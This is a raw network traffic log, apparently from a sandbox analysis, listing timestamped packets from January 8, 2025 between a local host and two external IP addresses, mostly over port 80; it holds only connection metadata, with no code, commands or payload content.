Jan 8, 2025 09:42:29.714071989 CET	49707	443	192.168.2.8	104.21.56.70
Jan 8, 2025 09:42:29.714118004 CET	49707	443	192.168.2.8	104.21.56.70
Jan 8, 2025 09:42:29.841370106 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:29.846211910 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:29.846298933 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:29.846451998 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:29.851277113 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.549819946 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.549834013 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.549947023 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.550045013 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.550057888 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.550069094 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.550100088 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.550100088 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.550117970 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.550138950 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.550138950 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.550143957 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.550157070 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.550159931 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.550169945 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.550190926 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.550190926 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.550215006 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.554815054 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.554841042 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.554860115 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.554873943 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.554924011 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.554954052 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.672077894 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.672092915 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.672105074 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.672117949 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.672247887 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.672316074 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.672322035 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.672343969 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.672369957 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.672380924 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.672394037 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.672406912 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.672406912 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.672444105 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.672446012 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.672873020 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.673146009 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.673171043 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.673190117 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.673245907 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.673245907 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.673264980 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.673279047 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.673290014 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.673320055 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.673351049 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.674048901 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.674062967 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.674096107 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.674114943 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.674128056 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.674139023 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.674139977 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.674139023 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.674191952 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.674191952 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.674891949 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.674938917 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.674952984 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.675008059 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.677213907 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.680939913 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.793642998 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.793656111 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.793751001 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.793754101 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.793776989 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.793796062 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.793806076 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.793828964 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.793865919 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.794003010 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.794018984 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.794034004 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.794056892 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.794058084 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.794073105 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.794085026 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.794086933 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.794130087 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.794130087 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.794651031 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.794666052 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.794680119 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.794725895 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.794739008 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.794740915 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.794753075 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.794765949 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.794811964 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.794811964 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.795363903 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.795392036 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.795407057 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.795438051 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.795454025 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.795476913 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.795490980 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.795516968 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.795528889 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.795530081 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.795530081 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.795542955 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.795576096 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.795614958 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.796272993 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.796286106 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.796299934 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.796324015 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.796340942 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.796351910 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.796355963 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.796365023 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.796370029 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.796386003 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.796401024 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.796401024 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.796448946 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.797275066 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.797287941 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.797300100 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.797305107 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.797311068 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.797322989 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.797332048 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.797347069 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.797354937 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.797400951 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.797400951 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.798048019 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.798062086 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.798074007 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.798111916 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.798113108 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.798130035 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.798141956 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.798151016 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.798151016 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.798156023 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.798166990 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.798190117 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.798233032 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.798791885 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.800940037 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.915643930 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.915657997 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.915668964 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.915772915 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.915777922 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.915808916 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.915832043 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.915846109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.915853977 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.915857077 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.915870905 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.915879011 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.915905952 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.915930986 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.915930986 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.915935993 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.915946960 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.915971041 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916028976 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916063070 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916086912 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916127920 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916165113 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916177988 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916223049 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916244984 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916258097 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916294098 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916309118 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916316032 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916357040 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916376114 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916414022 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916416883 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916446924 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916462898 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916493893 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916533947 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916548014 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916558981 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916590929 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916590929 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916615009 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916687965 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916749001 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916781902 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916796923 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916821957 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916826963 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916826963 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916840076 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916857958 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916867018 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916881084 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916887045 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916893959 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916907072 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916918993 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916918993 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916925907 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.916937113 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916949034 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.916981936 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.917180061 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.917192936 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.917205095 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.917239904 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.917239904 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.917278051 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.917294025 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.917308092 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.917319059 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.917321920 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.917351961 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.917354107 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.917368889 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.917383909 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.917387009 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.917387009 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.917403936 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.917426109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.917437077 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.917454004 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.917454004 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.917454004 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.917474985 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.917485952 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.917490005 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.917500973 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.917516947 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.917516947 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.917568922 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.917983055 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.917999029 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918015003 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918034077 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918042898 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.918042898 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.918046951 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918061018 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.918081045 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.918093920 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.918095112 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918108940 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918124914 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918134928 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.918138027 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918150902 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918163061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.918163061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.918179989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.918194056 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.918227911 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918240070 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918252945 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918272018 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918283939 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918283939 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.918313980 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.918325901 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918327093 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.918340921 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918354034 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918385029 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.918418884 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.918874025 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918926954 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918929100 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.918941975 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918967009 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918979883 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.918982029 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.918982029 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.918992996 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.919008017 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.919029951 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.919049025 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.919081926 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.919095993 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.919107914 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.919122934 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.919136047 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.919137001 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.919150114 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.919178009 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.919218063 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.919229984 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.919246912 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.919259071 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.919265985 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.919274092 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.919281006 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.919289112 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:30.919308901 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:30.919341087 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.006381989 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.006427050 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.006449938 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.006464005 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.006475925 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.006506920 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.006519079 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.006541967 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.006587029 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.006602049 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.006613970 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.006627083 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.006637096 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.006664038 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.006664991 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.006676912 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.006689072 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.006694078 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.006728888 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.006728888 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.006736994 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.006761074 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.006789923 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.006808996 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.037447929 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.037461042 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.037473917 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.037487030 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.037578106 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.037578106 CET	49708	80	192.168.2.8	176.113.115.19
